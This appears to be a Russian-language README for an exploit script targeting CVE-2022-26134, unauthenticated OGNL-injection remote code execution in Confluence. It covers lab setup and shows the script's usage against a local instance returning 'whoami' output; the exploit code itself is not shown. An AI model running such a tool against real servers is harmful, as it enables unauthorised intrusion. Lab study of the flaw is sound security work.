Эксплойт для CVE-2022-26134: Confluence — удалённое выполнение кода без аутентификации через OGNL-инъекцию

Ещё один эксплойт в стране OGNL

Описание

Confluence — это корпоративная веб-вики, разработанная австралийской компанией Atlassian.

2 июня 2022 года Atlassian выпустила уведомление о безопасности для своих приложений Confluence Server и Data Center, в котором сообщила об уязвимости критической степени серьёзности, позволяющей неаутентифицированному пользователю выполнять удалённый код. Уязвимость OGNL-инъекции позволяет неаутентифицированному пользователю выполнять произвольный код на экземпляре Confluence Server или Data Center.

Подготовка

Чтобы развернуть лабораторный стенд, запустите start_conflunce.sh и следуйте инструкциям, приведённым здесь.

Использование

$ ./confluence-exploit.py                          
usage: confluence-exploit.py [-h] -u URL
confluence-exploit.py: error: the following arguments are required: -u/--url 

$  ./confluence-exploit.py -u http://127.0.0.1:8090
🔗 URL: http://127.0.0.1:8090
👉 (id): whoami
confluence

Ссылки

• https://www.rapid7.com/ja/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
• Infosec Twitter